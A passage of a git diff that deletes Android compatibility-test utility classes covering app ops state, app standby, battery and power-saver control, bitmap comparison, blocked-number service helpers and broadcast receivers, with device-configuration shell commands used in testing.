-     * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
-     */
-    public static boolean allowedOperationLogged(String packageName, String opStr)
-            throws IOException {
-        return getOpState(packageName, opStr).contains(" time=");
-    }
-
-    /**
-     * Returns whether a rejected operation has been logged by the AppOpsManager for a
-     * package. Operations are noted when the app attempts to perform them and calls e.g.
-     * {@link AppOpsManager#noteOperation}.
-     *
-     * @param opStr The public string constant of the operation (e.g. OPSTR_READ_SMS).
-     */
-    public static boolean rejectedOperationLogged(String packageName, String opStr)
-            throws IOException {
-        return getOpState(packageName, opStr).contains(" rejectTime=");
-    }
-
-    /**
-     * Returns the app op state for a package. Includes information on when the operation was last
-     * attempted to be performed by the package.
-     *
-     * Format: "SEND_SMS: allow; time=+23h12m54s980ms ago; rejectTime=+1h10m23s180ms"
-     */
-    private static String getOpState(String packageName, String opStr) throws IOException {
-        return runCommand("appops get " + packageName + " " + opStr);
-    }
-
-    private static String runCommand(String command) throws IOException {
-        return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
deleted file mode 100644
index 6eeaae2..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AppStandbyUtils.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class AppStandbyUtils {
-    private static final String TAG = "CtsAppStandbyUtils";
-
-    /**
-     * Returns if app standby is enabled.
-     *
-     * @return true if enabled; or false if disabled.
-     */
-    public static boolean isAppStandbyEnabled() {
-        final String result = SystemUtil.runShellCommand(
-                "dumpsys usagestats is-app-standby-enabled").trim();
-        return Boolean.parseBoolean(result);
-    }
-
-    /**
-     * Sets enabled state for app standby feature for runtime switch.
-     *
-     * App standby feature has 2 switches. This one affects the switch at runtime. If the build
-     * switch is off, enabling the runtime switch will not enable App standby.
-     *
-     * @param enabled if App standby is enabled.
-     */
-    public static void setAppStandbyEnabledAtRuntime(boolean enabled) {
-        final String value = enabled ? "1" : "0";
-        Log.d(TAG, "Setting AppStandby " + (enabled ? "enabled" : "disabled") + " at runtime.");
-        SettingsUtils.putGlobalSetting("app_standby_enabled", value);
-    }
-
-    /**
-     * Returns if app standby is enabled at runtime. Note {@link #isAppStandbyEnabled()} may still
-     * return {@code false} if this method returns {@code true}, because app standby can be disabled
-     * at build time as well.
-     *
-     * @return true if enabled at runtime; or false if disabled at runtime.
-     */
-    public static boolean isAppStandbyEnabledAtRuntime() {
-        final String result =
-                SystemUtil.runShellCommand("settings get global app_standby_enabled").trim();
-        final boolean boolResult = result.equals("1") || result.equals("null");
-        Log.d(TAG, "AppStandby is " + (boolResult ? "enabled" : "disabled") + " at runtime.");
-        return boolResult;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
deleted file mode 100644
index 272bc67..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BatteryUtils.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.SettingsUtils.putGlobalSetting;
-import static com.android.compatibility.common.util.TestUtils.waitUntil;
-
-import android.content.pm.PackageManager;
-import android.os.BatteryManager;
-import android.os.PowerManager;
-import android.provider.Settings.Global;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import org.junit.Assume;
-
-public class BatteryUtils {
-    private static final String TAG = "CtsBatteryUtils";
-
-    private BatteryUtils() {
-    }
-
-    public static BatteryManager getBatteryManager() {
-        return InstrumentationRegistry.getContext().getSystemService(BatteryManager.class);
-    }
-
-    public static PowerManager getPowerManager() {
-        return InstrumentationRegistry.getContext().getSystemService(PowerManager.class);
-    }
-
-    /** Make the target device think it's off charger. */
-    public static void runDumpsysBatteryUnplug() {
-        SystemUtil.runShellCommandForNoOutput("cmd battery unplug");
-
-        Log.d(TAG, "Battery UNPLUGGED");
-    }
-
-    /**
-     * Set the battery level to {@code level} percent. The valid range is [0, 100].
-     */
-    public static void runDumpsysBatterySetLevel(int level) throws Exception {
-        SystemUtil.runShellCommandForNoOutput(("cmd battery set level " + level));
-
-        Log.d(TAG, "Battery level set to " + level);
-    }
-
-    /**
-     * Set whether the device is plugged in to a charger or not.
-     */
-    public static void runDumpsysBatterySetPluggedIn(boolean pluggedIn) throws Exception {
-        SystemUtil.runShellCommandForNoOutput(("cmd battery set ac " + (pluggedIn ? "1" : "0")));
-
-        Log.d(TAG, "Battery AC set to " + pluggedIn);
-    }
-
-    /** Reset the effect of all the previous {@code runDumpsysBattery*} call  */
-    public static void runDumpsysBatteryReset() {
-        SystemUtil.runShellCommandForNoOutput(("cmd battery reset"));
-
-        Log.d(TAG, "Battery RESET");
-    }
-
-    /**
-     * Enable / disable battery saver. Note {@link #runDumpsysBatteryUnplug} must have been
-     * executed before enabling BS.
-     */
-    public static void enableBatterySaver(boolean enabled) throws Exception {
-        if (enabled) {
-            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 1");
-            putGlobalSetting(Global.LOW_POWER_MODE, "1");
-            waitUntil("Battery saver still off", () -> getPowerManager().isPowerSaveMode());
-            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
-                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
-                            != getPowerManager().getLocationPowerSaveMode()));
-
-            Thread.sleep(500);
-            waitUntil("Force all apps standby still off",
-                    () -> SystemUtil.runShellCommand("dumpsys alarm")
-                            .contains(" Force all apps standby: true\n"));
-
-        } else {
-            SystemUtil.runShellCommandForNoOutput("cmd power set-mode 0");
-            putGlobalSetting(Global.LOW_POWER_MODE, "0");
-            putGlobalSetting(Global.LOW_POWER_MODE_STICKY, "0");
-            waitUntil("Battery saver still on", () -> !getPowerManager().isPowerSaveMode());
-            waitUntil("Location mode still " + getPowerManager().getLocationPowerSaveMode(),
-                    () -> (PowerManager.LOCATION_MODE_NO_CHANGE
-                            == getPowerManager().getLocationPowerSaveMode()));
-
-            Thread.sleep(500);
-            waitUntil("Force all apps standby still on",
-                    () -> SystemUtil.runShellCommand("dumpsys alarm")
-                            .contains(" Force all apps standby: false\n"));
-        }
-
-        AmUtils.waitForBroadcastIdle();
-        Log.d(TAG, "Battery saver turned " + (enabled ? "ON" : "OFF"));
-    }
-
-    /**
-     * Turn on/off screen.
-     */
-    public static void turnOnScreen(boolean on) throws Exception {
-        if (on) {
-            SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_WAKEUP");
-            waitUntil("Device still not interactive", () -> getPowerManager().isInteractive());
-
-        } else {
-            SystemUtil.runShellCommandForNoOutput("input keyevent KEYCODE_SLEEP");
-            waitUntil("Device still interactive", () -> !getPowerManager().isInteractive());
-        }
-        AmUtils.waitForBroadcastIdle();
-        Log.d(TAG, "Screen turned " + (on ? "ON" : "OFF"));
-    }
-
-    /** @return true if the device supports battery saver. */
-    public static boolean isBatterySaverSupported() {
-        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
-        return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
-    }
-
-    /** "Assume" the current device supports battery saver. */
-    public static void assumeBatterySaverFeature() {
-        Assume.assumeTrue("Device doesn't support battery saver", isBatterySaverSupported());
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BeforeAfterRule.java b/common/device-side/util/src/com/android/compatibility/common/util/BeforeAfterRule.java
deleted file mode 100644
index be75671..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BeforeAfterRule.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that provides "before" / "after" callbacks, which is useful to use with
- * {@link org.junit.rules.RuleChain}.
- */
-public class BeforeAfterRule implements TestRule {
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                onBefore(base, description);
-                try {
-                    base.evaluate();
-                } finally {
-                    onAfter(base, description);
-                }
-            }
-        };
-    }
-
-    protected void onBefore(Statement base, Description description) throws Throwable {
-    }
-
-    protected void onAfter(Statement base, Description description) throws Throwable {
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java
deleted file mode 100644
index 88753b1..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java
+++ /dev/null
@@ -1,180 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.WallpaperManager;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Bitmap.CompressFormat;
-import android.graphics.Color;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.lang.reflect.Method;
-import java.util.Random;
-
-public class BitmapUtils {
-    private static final String TAG = "BitmapUtils";
-
-    private BitmapUtils() {}
-
-    private static Boolean compareBasicBitmapsInfo(Bitmap bmp1, Bitmap bmp2) {
-        if (bmp1 == bmp2) {
-            return Boolean.TRUE;
-        }
-
-        if (bmp1 == null) {
-            Log.d(TAG, "compareBitmaps() failed because bmp1 is null");
-            return Boolean.FALSE;
-        }
-
-        if (bmp2 == null) {
-            Log.d(TAG, "compareBitmaps() failed because bmp2 is null");
-            return Boolean.FALSE;
-        }
-
-        if ((bmp1.getWidth() != bmp2.getWidth()) || (bmp1.getHeight() != bmp2.getHeight())) {
-            Log.d(TAG, "compareBitmaps() failed because sizes don't match "
-                    + "bmp1=(" + bmp1.getWidth() + "x" + bmp1.getHeight() + "), "
-                    + "bmp2=(" + bmp2.getWidth() + "x" + bmp2.getHeight() + ")");
-            return Boolean.FALSE;
-        }
-        return null;
-    }
-
-    /**
-     * Compares two bitmaps by pixels.
-     */
-    public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2) {
-        final Boolean basicComparison = compareBasicBitmapsInfo(bmp1, bmp2);
-        if (basicComparison != null) return basicComparison.booleanValue();
-
-        for (int i = 0; i < bmp1.getWidth(); i++) {
-            for (int j = 0; j < bmp1.getHeight(); j++) {
-                if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
-                    Log.d(TAG, "compareBitmaps(): pixels (" + i + ", " + j + ") don't match");
-                    return false;
-                }
-            }
-        }
-        return true;
-    }
-
-    /**
-     *  Compares two bitmaps by pixels, with a buffer for mistmatches.
-     *
-     *  <p>For example, if {@code minimumPrecision} is 0.99, at least 99% of the pixels should
-     *  match.
-     */
-    public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2, double minimumPrecision) {
-        final Boolean basicComparison = compareBasicBitmapsInfo(bmp1, bmp2);
-        if (basicComparison != null) return basicComparison.booleanValue();
-
-        final int width = bmp1.getWidth();
-        final int height = bmp1.getHeight();
-
-        final long numberPixels = width * height;
-        long numberMismatches = 0;
-
-        for (int i = 0; i < width; i++) {
-            for (int j = 0; j < height; j++) {
-                if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
-                    numberMismatches++;
-                    if (numberMismatches <= 10) {
-                        // Let's not spam logcat...
-                        Log.w(TAG, "compareBitmaps(): pixels (" + i + ", " + j + ") don't match");
-                    }
-                }
-            }
-        }
-        final double actualPrecision = ((double) numberPixels - numberMismatches) / (numberPixels);
-        Log.v(TAG, "compareBitmaps(): numberPixels=" + numberPixels
-                + ", numberMismatches=" + numberMismatches
-                + ", minimumPrecision=" + minimumPrecision
-                + ", actualPrecision=" + actualPrecision);
-        return actualPrecision >= minimumPrecision;
-    }
-
-    public static Bitmap generateRandomBitmap(int width, int height) {
-        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        final Random generator = new Random();
-        for (int x = 0; x < width; x++) {
-            for (int y = 0; y < height; y++) {
-                bmp.setPixel(x, y, generator.nextInt(Integer.MAX_VALUE));
-            }
-        }
-        return bmp;
-    }
-
-    public static Bitmap generateWhiteBitmap(int width, int height) {
-        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-        bmp.eraseColor(Color.WHITE);
-        return bmp;
-    }
-
-    public static Bitmap getWallpaperBitmap(Context context) throws Exception {
-        WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
-        Class<?> noparams[] = {};
-        Class<?> wmClass = wallpaperManager.getClass();
-        Method methodGetBitmap = wmClass.getDeclaredMethod("getBitmap", noparams);
-        return (Bitmap) methodGetBitmap.invoke(wallpaperManager, null);
-    }
-
-    public static ByteArrayInputStream bitmapToInputStream(Bitmap bmp) {
-        final ByteArrayOutputStream bos = new ByteArrayOutputStream();
-        bmp.compress(CompressFormat.PNG, 0 /*ignored for PNG*/, bos);
-        byte[] bitmapData = bos.toByteArray();
-        return new ByteArrayInputStream(bitmapData);
-    }
-
-    private static void logIfBitmapSolidColor(String fileName, Bitmap bitmap) {
-        int firstColor = bitmap.getPixel(0, 0);
-        for (int x = 0; x < bitmap.getWidth(); x++) {
-            for (int y = 0; y < bitmap.getHeight(); y++) {
-                if (bitmap.getPixel(x, y) != firstColor) {
-                    return;
-                }
-            }
-        }
-
-        Log.w(TAG, String.format("%s entire bitmap color is %x", fileName, firstColor));
-    }
-
-    public static void saveBitmap(Bitmap bitmap, String directoryName, String fileName) {
-        new File(directoryName).mkdirs(); // create dirs if needed
-
-        Log.d(TAG, "Saving file: " + fileName + " in directory: " + directoryName);
-
-        if (bitmap == null) {
-            Log.d(TAG, "File not saved, bitmap was null");
-            return;
-        }
-
-        logIfBitmapSolidColor(fileName, bitmap);
-
-        File file = new File(directoryName, fileName);
-        try (FileOutputStream fileStream = new FileOutputStream(file)) {
-            bitmap.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
-            fileStream.flush();
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
deleted file mode 100644
index 360c078..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberService.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.provider.BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER;
-import static android.provider.BlockedNumberContract.BlockedNumbers.CONTENT_URI;
-
-import android.app.IntentService;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.ResultReceiver;
-import android.util.Log;
-
-/**
- * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
- * can only be accessed by the primary user. This service can be run as a singleton service
- * which will then be able to access the BlockedNumberProvider from a test running in a
- * secondary user.
- */
-public class BlockedNumberService extends IntentService {
-
-    static final String INSERT_ACTION = "android.telecom.cts.InsertBlockedNumber";
-    static final String DELETE_ACTION = "android.telecom.cts.DeleteBlockedNumber";
-    static final String PHONE_NUMBER_EXTRA = "number";
-    static final String URI_EXTRA = "uri";
-    static final String ROWS_EXTRA = "rows";
-    static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
-
-    private static final String TAG = "CtsBlockNumberSvc";
-
-    private ContentResolver mContentResolver;
-
-    public BlockedNumberService() {
-        super(BlockedNumberService.class.getName());
-    }
-
-    @Override
-    public void onHandleIntent(Intent intent) {
-        Log.i(TAG, "Starting BlockedNumberService service: " + intent);
-        if (intent == null) {
-            return;
-        }
-        Bundle bundle;
-        mContentResolver = getContentResolver();
-        switch (intent.getAction()) {
-            case INSERT_ACTION:
-                bundle = insertBlockedNumber(intent.getStringExtra(PHONE_NUMBER_EXTRA));
-                break;
-            case DELETE_ACTION:
-                bundle = deleteBlockedNumber(Uri.parse(intent.getStringExtra(URI_EXTRA)));
-                break;
-            default:
-                bundle = new Bundle();
-                break;
-        }
-        ResultReceiver receiver = intent.getParcelableExtra(RESULT_RECEIVER_EXTRA);
-        receiver.send(0, bundle);
-    }
-
-    private Bundle insertBlockedNumber(String number) {
-        Log.i(TAG, "insertBlockedNumber: " + number);
-
-        ContentValues cv = new ContentValues();
-        cv.put(COLUMN_ORIGINAL_NUMBER, number);
-        Uri uri = mContentResolver.insert(CONTENT_URI, cv);
-        Bundle bundle = new Bundle();
-        bundle.putString(URI_EXTRA, uri.toString());
-        return bundle;
-    }
-
-    private Bundle deleteBlockedNumber(Uri uri) {
-        Log.i(TAG, "deleteBlockedNumber: " + uri);
-
-        int rows = mContentResolver.delete(uri, null, null);
-        Bundle bundle = new Bundle();
-        bundle.putInt(ROWS_EXTRA, rows);
-        return bundle;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
deleted file mode 100644
index e5a0ce4..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockedNumberUtil.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.BlockedNumberService.DELETE_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.INSERT_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.PHONE_NUMBER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.RESULT_RECEIVER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.ROWS_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.URI_EXTRA;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.ResultReceiver;
-
-import junit.framework.TestCase;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utility for starting the blocked number service.
- */
-public class BlockedNumberUtil {
-
-    private static final int TIMEOUT = 2;
-
-    private BlockedNumberUtil() {}
-
-    /** Insert a phone number into the blocked number provider and returns the resulting Uri. */
-    public static Uri insertBlockedNumber(Context context, String phoneNumber) {
-        Intent intent = new Intent(INSERT_ACTION);
-        intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
-
-        return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
-    }
-
-    /** Remove a number from the blocked number provider and returns the number of rows deleted. */
-    public static int deleteBlockedNumber(Context context, Uri uri) {
-        Intent intent = new Intent(DELETE_ACTION);
-        intent.putExtra(URI_EXTRA, uri.toString());
-
-        return runBlockedNumberService(context, intent).getInt(ROWS_EXTRA);
-    }
-
-    /** Start the blocked number service. */
-    static Bundle runBlockedNumberService(Context context, Intent intent) {
-        // Temporarily allow background service
-        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist " + context.getPackageName());
-
-        final Semaphore semaphore = new Semaphore(0);
-        final Bundle result = new Bundle();
-
-        ResultReceiver receiver = new ResultReceiver(new Handler(Looper.getMainLooper())) {
-            @Override
-            protected void onReceiveResult(int resultCode, Bundle resultData) {
-                result.putAll(resultData);
-                semaphore.release();
-            }
-        };
-        intent.putExtra(RESULT_RECEIVER_EXTRA, receiver);
-        intent.setComponent(new ComponentName(context, BlockedNumberService.class));
-
-        context.startService(intent);
-
-        try {
-            TestCase.assertTrue(semaphore.tryAcquire(TIMEOUT, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            TestCase.fail("Timed out waiting for result from BlockedNumberService");
-        }
-        return result;
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
deleted file mode 100755
index c26ddd0..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import androidx.annotation.Nullable;
-import android.util.Log;
-
-import java.util.concurrent.ArrayBlockingQueue;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A receiver that allows caller to wait for the broadcast synchronously. Notice that you should not
- * reuse the instance. Usage is typically like this:
- * <pre>
- *     BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context, "action");
- *     try {
- *         receiver.register();
- *         Intent intent = receiver.awaitForBroadcast();
- *         // assert the intent
- *     } finally {
- *         receiver.unregisterQuietly();
- *     }
- * </pre>
- */
-public class BlockingBroadcastReceiver extends BroadcastReceiver {
-    private static final String TAG = "BlockingBroadcast";
-
-    private static final int DEFAULT_TIMEOUT_SECONDS = 30;
-
-    private final BlockingQueue<Intent> mBlockingQueue;
-    private final String mExpectedAction;
-    private final Context mContext;
-
-    public BlockingBroadcastReceiver(Context context, String expectedAction) {
-        mContext = context;
-        mExpectedAction = expectedAction;
-        mBlockingQueue = new ArrayBlockingQueue<>(1);
-    }
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        if (mExpectedAction.equals(intent.getAction())) {
-            mBlockingQueue.add(intent);
-        }
-    }
-
-    public void register() {
-        mContext.registerReceiver(this, new IntentFilter(mExpectedAction));
-    }
-
-    /**
-     * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
-     * if no broadcast with expected action is received within 30 seconds.
-     */
-    public @Nullable Intent awaitForBroadcast() {
-        try {
-            return mBlockingQueue.poll(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "waitForBroadcast get interrupted: ", e);
-        }
-        return null;
-    }
-
-    /**
-     * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
-     * if no broadcast with expected action is received within the given timeout.
-     */
-    public @Nullable Intent awaitForBroadcast(long timeoutMillis) {
-        try {
-            return mBlockingQueue.poll(timeoutMillis, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "waitForBroadcast get interrupted: ", e);
-        }
-        return null;
-    }
-
-    public void unregisterQuietly() {
-        try {
-            mContext.unregisterReceiver(this);
-        } catch (Exception ex) {
-            Log.e(TAG, "Failed to unregister BlockingBroadcastReceiver: ", ex);
-        }
-    }
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastRpcBase.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastRpcBase.java
deleted file mode 100644
index 772e7d3..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastRpcBase.java
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-
-/**
- * Base class to help broadcast-based RPC.
- */
-public abstract class BroadcastRpcBase<TRequest, TResponse> {
-    private static final String TAG = "BroadcastRpc";
-
-    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-
-    static final String ACTION_REQUEST = "ACTION_REQUEST";
-    static final String EXTRA_PAYLOAD = "EXTRA_PAYLOAD";
-    static final String EXTRA_EXCEPTION = "EXTRA_EXCEPTION";
-
-    static Handler sMainHandler = new Handler(Looper.getMainLooper());
-
-    /** Implement in a subclass */
-    protected abstract byte[] requestToBytes(TRequest request);
-
-    /** Implement in a subclass */
-    protected abstract TResponse bytesToResponse(byte[] bytes);
-
-    public TResponse invoke(ComponentName targetReceiver, TRequest request) throws Exception {
-        // Create a request intent.
-        Log.i(TAG, "Sending to: " + targetReceiver + (VERBOSE ? "\nRequest: " + request : ""));
-
-        final Intent requestIntent = new Intent(ACTION_REQUEST)
-                .setComponent(targetReceiver)
-                .addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
-                .putExtra(EXTRA_PAYLOAD, requestToBytes(request));
-
-        // Send it.
-        final CountDownLatch latch = new CountDownLatch(1);
-        final AtomicReference<Bundle> responseBundle = new AtomicReference<>();
-
-        InstrumentationRegistry.getContext().sendOrderedBroadcast(
-                requestIntent, null, new BroadcastReceiver() {
-                    @Override
-                    public void onReceive(Context context, Intent intent) {
-                        responseBundle.set(getResultExtras(false));
-                        latch.countDown();
-                    }
-                }, sMainHandler, 0, null, null);
-
-        // Wait for a reply and check it.
-        final boolean responseArrived = latch.await(60, TimeUnit.SECONDS);
-        assertTrue("Didn't receive broadcast result.", responseArrived);
-
-        // TODO If responseArrived is false, print if the package / component is installed?
-
-        assertNotNull("Didn't receive result extras", responseBundle.get());
-
-        final String exception = responseBundle.get().getString(EXTRA_EXCEPTION);
-        if (exception != null) {
-            fail("Target throw exception: receiver=" + targetReceiver
-                    + "\nException: " + exception);
-        }
-
-        final byte[] resultPayload = responseBundle.get().getByteArray(EXTRA_PAYLOAD);
-        assertNotNull("Didn't receive result payload", resultPayload);
-
-        Log.i(TAG, "Response received: " + (VERBOSE ? resultPayload.toString() : ""));
-
-        return bytesToResponse(resultPayload);
-    }
-
-    /**
-     * Base class for a receiver for a broadcast-based RPC.
-     */
-    public abstract static class ReceiverBase<TRequest, TResponse> extends BroadcastReceiver {
-        @Override
-        public final void onReceive(Context context, Intent intent) {
-            assertEquals(ACTION_REQUEST, intent.getAction());
-
-            // Parse the request.
